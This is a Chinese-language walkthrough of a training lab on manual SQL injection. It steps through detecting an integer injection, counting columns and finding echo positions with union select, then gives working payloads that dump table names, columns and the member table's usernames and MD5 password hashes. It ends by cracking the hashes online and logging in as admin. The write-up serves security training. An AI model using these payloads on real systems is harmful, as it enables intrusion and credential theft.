背景介绍
安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+MySQL,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。
实训目标
1.掌握SQL注入原理;
2.了解手工注入的方法;
3.了解MySQL的数据结构;
4.了解字符串的MD5加解密;
解题方向
手工进行SQL注入测试,获取管理密码登录。
步骤
一、打开网站,可以发现可以登陆,还可以点击公告
二、根据题目信息判断本题登陆框是没有sql注入的,所以我们点击公告跳转到以下界面。
三、在id=1后添加‘发现页面异常,加上--+后页面没有恢复正常,
我们进行布尔判断输入1=1和1=2,发现页面不一样,说明我们输入的参数被带入到了数据库执行,通过判断可以发现本题是整数型注入。
四、通过order by判断本页面有几个查询字段,发现有4个字段
五、通过union联级查询,id输入一个不存在的数,来判断回显位置,判断到本题的回显位置是2和3。
六、database()函数在回显位置查询当前数据库名
七、查询表名,输入以下参数:/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'--+
可以发现我们当前数据库下的所有表名
八、查询第一个表的字段,输入以下参数:/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='mozhe_Discuz_StormGroup' and table_name='StormGroup_member'--+
九、查询表数据:/new_list.php?id=-1 union select 1,group_concat(name,password),3,4 from StormGroup_member--+,可以发现是MD5加密的密码,我们同过在线网站进行MD5的解密md5在线解密破解,md5解密加密,发现密码
十、用上述的用户名和解密的两个密码登陆,发现第二个可以登陆成功,发现KEY